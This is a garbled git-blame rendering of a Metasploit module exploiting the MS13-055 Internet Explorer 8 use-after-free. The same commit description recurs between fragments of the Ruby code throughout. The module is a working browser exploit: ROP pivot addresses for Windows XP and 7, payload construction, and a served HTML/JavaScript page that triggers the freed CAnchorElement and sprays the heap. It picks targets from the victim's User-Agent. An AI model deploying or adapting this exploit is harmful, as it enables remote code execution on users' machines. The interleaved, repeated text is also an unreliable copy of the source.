Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-09-09 15:01:01 +00:00
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Rank = NormalRanking
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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2013-10-07 20:09:36 +00:00
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include Msf::Exploit::RopDb
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
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'Description' => %q{
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In IE8 standards mode, it's possible to cause a use-after-free condition by first
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creating an illogical table tree, where a CPhraseElement comes after CTableRow,
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with the final node being a sub table element. When the CPhraseElement's outer
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content is reset by using either outerText or outerHTML through an event handler,
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this triggers a free of its child element (in this case, a CAnchorElement, but
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some other objects apply too), but a reference is still kept in function
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SRunPointer::SpanQualifier. This function will then pass on the invalid reference
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to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
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make a call to the object's SecurityContext virtual function at offset +0x70, which
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results a crash. An attacker can take advantage of this by first creating an
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CAnchorElement object, let it free, and then replace the freed memory with another
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fake object. Successfully doing so may allow arbitrary code execution under the
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context of the user.
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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This bug is specific to Internet Explorer 8 only. It was originally discovered by
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2013-09-13 15:42:11 +00:00
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Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again
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by Orange Tsai at Hitcon 2013.
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2013-09-09 15:01:01 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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2013-09-13 15:42:11 +00:00
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'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense
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'Orange Tsai', # Rediscovery, published at Hitcon 2013
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'Peter Vreugdenhil', # Joins the party (wtfuzz)
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'sinn3r' # Joins the party
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2013-09-09 15:01:01 +00:00
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],
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'References' =>
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[
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2013-09-13 15:42:11 +00:00
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[ 'CVE', '2013-3163' ],
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[ 'OSVDB', '94981' ],
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2013-09-09 15:01:01 +00:00
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[ 'MSB', 'MS13-055' ],
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[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :msvcrt,
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'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
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'Align' => 0x77c4d801 # add esp, 0x2c; ret
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}
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],
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[
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'IE 8 on Windows 7',
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{
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'Rop' => :jre,
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'Pivot' => 0x7c348b05, # xchg eax, esp; ret
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'Align' => 0x7C3445F8 # add esp, 0x2c; ret
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}
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]
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Privileged' => false,
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2013-09-13 15:42:11 +00:00
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# Bug was patched in July 2013. Tsai was the first to publish the bug.
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# But Jose already reported way back in Oct 2012 (to iDefense)
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2013-09-09 15:01:01 +00:00
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'DisclosureDate' => "Jul 09 2013",
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'DefaultTarget' => 0))
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end
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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def get_target(agent)
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return target if target.name != 'Automatic'
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
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2013-09-09 15:01:01 +00:00
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ie_name = "IE #{ie}"
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
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2013-09-09 15:01:01 +00:00
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.1'
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os_name = 'Windows 7'
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end
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
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2013-09-09 15:01:01 +00:00
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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return t
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end
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end
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
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2013-09-09 15:01:01 +00:00
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nil
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end
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Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
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2013-10-07 20:09:36 +00:00
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def get_payload(t)
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if t['Rop'] == :msvcrt
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2013-09-09 15:01:01 +00:00
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print_status("Using msvcrt ROP")
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2013-10-07 20:09:36 +00:00
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esp_align = "\x81\xc4\x54\xf2\xff\xff"
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rop_dll = 'msvcrt'
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opts = {'target'=>'xp'}
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2013-09-09 15:01:01 +00:00
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else
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print_status("Using JRE ROP")
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2013-10-07 20:09:36 +00:00
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esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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rop_dll = 'java'
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opts = {}
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2013-09-09 15:01:01 +00:00
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end
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
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2013-10-07 20:09:36 +00:00
|
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p = esp_align + payload.encoded + rand_text_alpha(12000)
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generate_rop_payload(rop_dll, p, opts)
|
2013-09-09 15:01:01 +00:00
|
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|
end
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
def get_html(t, p)
|
2013-10-07 20:09:36 +00:00
|
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junk = rand_text_alpha(4).unpack("V")[0].to_i
|
2013-09-09 15:01:01 +00:00
|
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js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
|
|
|
js_payload = Rex::Text.to_unescape(p)
|
|
|
|
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
|
|
|
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
q_id = Rex::Text.rand_text_alpha(1)
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-10-07 20:09:36 +00:00
|
|
|
%Q|
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
<!DOCTYPE html>
|
|
|
|
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
2013-09-09 15:01:01 +00:00
|
|
|
<head>
|
|
|
|
<meta>
|
|
|
|
<?IMPORT namespace="t" implementation="#default#time2">
|
|
|
|
</meta>
|
|
|
|
</head>
|
|
|
|
<script>
|
|
|
|
#{js_mstime_malloc}
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
window.onload = function() {
|
|
|
|
var x = document.getElementById("#{q_id}");
|
|
|
|
x.outerText = "";
|
|
|
|
a = document.getElementById('myanim');
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
p = '';
|
|
|
|
for (i=0; i < 7; i++) {
|
|
|
|
p += unescape("#{js_junk}");
|
|
|
|
}
|
|
|
|
p += unescape("#{js_payload}");
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
fo = unescape("#{js_align}");
|
|
|
|
for (i=0; i < 28; i++) {
|
|
|
|
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
|
|
|
else { fo += unescape("#{js_align}"); }
|
|
|
|
}
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
fo += p;
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
<table>
|
|
|
|
<tr>
|
|
|
|
<div>
|
|
|
|
<span>
|
|
|
|
<q id='#{q_id}'>
|
|
|
|
<a>
|
|
|
|
<td></td>
|
|
|
|
</a>
|
|
|
|
</q>
|
|
|
|
</span>
|
|
|
|
</div>
|
|
|
|
</tr>
|
|
|
|
</table>
|
|
|
|
<t:ANIMATECOLOR id="myanim"/>
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
</html>
|
2013-09-09 15:01:01 +00:00
|
|
|
|
|
|
|
|
end
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
t = get_target(agent)
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
|
2013-09-09 15:01:01 +00:00
|
|
|
if t
|
2013-10-07 20:09:36 +00:00
|
|
|
p = get_payload(t)
|
2013-09-09 15:01:01 +00:00
|
|
|
html = get_html(t, p)
|
|
|
|
print_status("Sending exploit...")
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
|
|
else
|
|
|
|
print_error("Not a suitable target: #{agent}")
|
|
|
|
send_not_found(cli)
|
|
|
|
end
|
|
|
|
end
|
Add MS13-055 Internet Explorer Use-After-Free Vulnerability
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
